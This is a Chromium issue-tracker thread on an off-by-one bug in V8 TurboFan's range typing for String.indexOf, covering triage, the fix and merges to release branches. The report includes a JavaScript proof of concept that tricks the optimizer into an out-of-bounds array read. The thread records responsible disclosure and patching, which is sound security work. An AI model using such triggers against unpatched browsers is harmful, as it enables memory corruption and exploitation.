Issue metadata
Sign in to add a comment
|
Security: off by one in TurboFan range optimization for String.indexOf |
||||||||||||||||||||||
Issue descriptionVULNERABILITY DETAILS The typer returns a range from -1 to String::kMaxLength - 1 for String.indexOf: https://cs.chromium.org/chromium/src/v8/src/compiler/typer.cc?rcl=8cd4009c5b7072ad224f19a9e668ec0ed7430599&l=1456 However, indexOf can actually return String::kMaxLength (2**28-16): 'A'.repeat(2**28-16).indexOf("", 2**28).toString(16) Since the optimizer is confused about the potential return values, you can use it to optimize away array accesses and get an out of bounds read-write primitive. The fix should simply be to remove the - 1 in that line. VERSION Chrome Version: 60.0.3112.113 + stable Operating System: Ubuntu 17.04 REPRODUCTION CASE Here's how you trigger an out of bounds read. I can also share a full exploit to UXSS/code exec if you're interested. function maxstring() { // force TurboFan try {} finally {} var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28); i += 16; // real value: i = 2**28, optimizer: i = 2**28-1 i >>= 28; // real value i = 1, optimizer: i = 0 i *= 100000; // real value i = 100000, optimizer: i = 0 if (i > 3) { return 0; } else { var arr = [0.1, 0.2, 0.3, 0.4]; return arr[i]; } } function opttest() { // call in a loop to trigger optimization for (var i = 0; i < 100000; i++) { var o = maxstring(); if (o == 0 || o == undefined) { continue; } return o; } console.log("fail"); } opttest();
,
Sep 7 2017
,
Sep 7 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6426602253844480.
,
Sep 8 2017
Is this a functional bug where the optimizer produces the wrong math, or are you expecting this code produces an OOB read? Clusterfuzz's asan bot didn't detect the latter. On M61 this logs "fail" regardless of the "try" line. I don't see what the bug is here.
,
Sep 11 2017
The code should crash the renderer with an out of bounds read, at least on Chrome 60 stable. Pasting it in the console on my Chromebook, it will trigger an "aw snap", that's Version 60.0.3112.112 (Official Build) (64-bit). I haven't tried it out on Chrome 61 yet nor with ASAN. I don't see why it wouldn't work on Chrome 61 though. I can only imagine that the optimizer might kick in later or that the way you force turbofan changed (which works via the try finally block on Chrome 60).
,
Sep 11 2017
,
Sep 11 2017
I'll fix it.
,
Sep 11 2017
Fix in-flight at https://chromium-review.googlesource.com/660000
,
Sep 11 2017
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/b8f144ec4fd1cd808f0d883668f355498b56d7fa commit b8f144ec4fd1cd808f0d883668f355498b56d7fa Author: Benedikt Meurer <bmeurer@chromium.org> Date: Mon Sep 11 12:05:29 2017 [turbofan] Fix type of String#indexOf and String#lastIndexOf. The Typer put the wrong type on String#index and String#lastIndexOf builtins, with an off by one on the upper bound. Bug: chromium:762874 Change-Id: Ia4c29bc2e8e1c85b6a7ae0b99f8aaabf839a5932 Reviewed-on: https://chromium-review.googlesource.com/660000 Reviewed-by: Jaroslav Sevcik <jarin@chromium.org> Commit-Queue: Benedikt Meurer <bmeurer@chromium.org> Cr-Commit-Position: refs/heads/master@{#47942} [modify] https://crrev.com/b8f144ec4fd1cd808f0d883668f355498b56d7fa/src/compiler/typer.cc [add] https://crrev.com/b8f144ec4fd1cd808f0d883668f355498b56d7fa/test/mjsunit/regress/regress-crbug-762874-1.js [add] https://crrev.com/b8f144ec4fd1cd808f0d883668f355498b56d7fa/test/mjsunit/regress/regress-crbug-762874-2.js
,
Sep 11 2017
The back-merge will require manual adjustments to the tests, since the %StringMaxLength runtime function was introduced recently (with 62).
,
Sep 11 2017
This bug requires manual review: Request affecting a post-stable build Please contact the milestone owner if you have questions. Owners: amineer@(Android), cmasso@(iOS), ketakid@(ChromeOS), govind@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Sep 11 2017
,
Sep 11 2017
+ awhalley@ (Security TPM) for M61 & M62 merge review.
,
Sep 11 2017
Thanks for the quick fix! There's an M61 stable spin today, but this change is too new to take in that I'm afraid. We should get this in M62 once it's had a day or two in Canary.
,
Sep 12 2017
Your change meets the bar and is auto-approved for M62. Please go ahead and merge the CL to branch 3202 manually. Please contact milestone owner if you have questions. Owners: amineer@(Android), cmasso@(iOS), bhthompson@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Sep 12 2017
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/389539ca30406101971745820d3105e7f39bb772 commit 389539ca30406101971745820d3105e7f39bb772 Author: Benedikt Meurer <bmeurer@chromium.org> Date: Tue Sep 12 12:46:46 2017 [turbofan] Fix type of String#indexOf and String#lastIndexOf. The Typer put the wrong type on String#index and String#lastIndexOf builtins, with an off by one on the upper bound. Bug: chromium:762874 Change-Id: Ia4c29bc2e8e1c85b6a7ae0b99f8aaabf839a5932 Reviewed-on: https://chromium-review.googlesource.com/660000 Reviewed-by: Jaroslav Sevcik <jarin@chromium.org> Commit-Queue: Benedikt Meurer <bmeurer@chromium.org> Cr-Original-Commit-Position: refs/heads/master@{#47942}(cherry picked from commit b8f144ec4fd1cd808f0d883668f355498b56d7fa) Reviewed-on: https://chromium-review.googlesource.com/663338 Reviewed-by: Benedikt Meurer <bmeurer@chromium.org> Cr-Commit-Position: refs/branch-heads/6.2@{#15} Cr-Branched-From: efa2ac4129d30c7c72e84c16af3d20b44829f990-refs/heads/6.2.414@{#1} Cr-Branched-From: a861ebb762a60bf5cc2a274faee3620abfb06311-refs/heads/master@{#47693} [modify] https://crrev.com/389539ca30406101971745820d3105e7f39bb772/src/compiler/typer.cc [add] https://crrev.com/389539ca30406101971745820d3105e7f39bb772/test/mjsunit/regress/regress-crbug-762874-1.js [add] https://crrev.com/389539ca30406101971745820d3105e7f39bb772/test/mjsunit/regress/regress-crbug-762874-2.js
,
Sep 12 2017
,
Sep 13 2017
awhalley@ (Security TPM) is waiting on more Canary/Dev coverage before approving merge to M61.
,
Sep 20 2017
govind@ - good for 61
,
Sep 20 2017
,
Sep 20 2017
Approving merge to M61 branch 3163 based on comment #19 and #20 and per offline chat with awhalley@. Please merge ASAP. Thank you.
,
Sep 20 2017
+ amineer@ as FYI (This won't require respin but we should pick it up for next respin if any per chat with awhalley@)
,
Sep 20 2017
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/452f86c15bc3a3fbc935fa411ef9afd89220b125 commit 452f86c15bc3a3fbc935fa411ef9afd89220b125 Author: Jakob Kummerow <jkummerow@chromium.org> Date: Wed Sep 20 18:21:49 2017 Merged: [turbofan] Fix type of String#indexOf and String#lastIndexOf. Revision: b8f144ec4fd1cd808f0d883668f355498b56d7fa BUG= chromium:762874 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=bmeurer@chromium.org Change-Id: I95414aaeb0fcd7a3ca5cb69db0824ef8fc0699d9 Reviewed-on: https://chromium-review.googlesource.com/675903 Reviewed-by: Benedikt Meurer <bmeurer@chromium.org> Cr-Commit-Position: refs/branch-heads/6.1@{#82} Cr-Branched-From: 1bf2e10ddb194d4c2871a87a4732613419de892d-refs/heads/6.1.534@{#1} Cr-Branched-From: e825c4318eb2065ffdf9044aa6a5278635c36427-refs/heads/master@{#46746} [modify] https://crrev.com/452f86c15bc3a3fbc935fa411ef9afd89220b125/src/compiler/typer.cc [add] https://crrev.com/452f86c15bc3a3fbc935fa411ef9afd89220b125/test/mjsunit/regress/regress-crbug-762874-1.js [add] https://crrev.com/452f86c15bc3a3fbc935fa411ef9afd89220b125/test/mjsunit/regress/regress-crbug-762874-2.js
,
Sep 20 2017
,
Sep 20 2017
This is already merged to M61 based on comment #23. Hence, removing "Merge-Approved-61" label.
,
Sep 21 2017
,
Sep 21 2017
hi - sroettger@google.com - I wonder how this bug was found? Was it reported externally, or was it found by fuzzing internally? You mention you had a full execution/UXSS - we are always interested in these as they allow us to potentially improve our exploit mitigations, can you share? In addition, I'm sure our bugs-- team would be keen to work with you e.g. if you wanted to use clusterfuzz or perhaps give us a briefing on your research?
,
Sep 22 2017
Hi wfh@ - I started a mail thread with you about this to discuss details.
,
Sep 22 2017
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/d50f297ece84c0c2e22f755487039ef96945266f commit d50f297ece84c0c2e22f755487039ef96945266f Author: Michaël Zasso <mic.besace@gmail.com> Date: Fri Sep 22 09:48:20 2017 Fix regression tests Release 6.1 does not contain the StringMaxLength runtime function. Hard-code the kStringMaxLength value in the tests instead of using that function. NOPRESUBMIT=true NOTRY=true Bug: chromium:762874 Change-Id: Ifd785363b31d108d20c4e0e5b739463f97fc013d Reviewed-on: https://chromium-review.googlesource.com/677300 Reviewed-by: Peter Marshall <petermarshall@chromium.org> Reviewed-by: Jakob Kummerow <jkummerow@chromium.org> Reviewed-by: Michael Achenbach <machenbach@chromium.org> Commit-Queue: Peter Marshall <petermarshall@chromium.org> Cr-Commit-Position: refs/branch-heads/6.1@{#86} Cr-Branched-From: 1bf2e10ddb194d4c2871a87a4732613419de892d-refs/heads/6.1.534@{#1} Cr-Branched-From: e825c4318eb2065ffdf9044aa6a5278635c36427-refs/heads/master@{#46746} [modify] https://crrev.com/d50f297ece84c0c2e22f755487039ef96945266f/test/mjsunit/regress/regress-crbug-762874-1.js [modify] https://crrev.com/d50f297ece84c0c2e22f755487039ef96945266f/test/mjsunit/regress/regress-crbug-762874-2.js
,
Sep 26 2017
,
Oct 11 2017
,
Dec 18 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||
Comment 1 by evn@google.com
, Sep 7 2017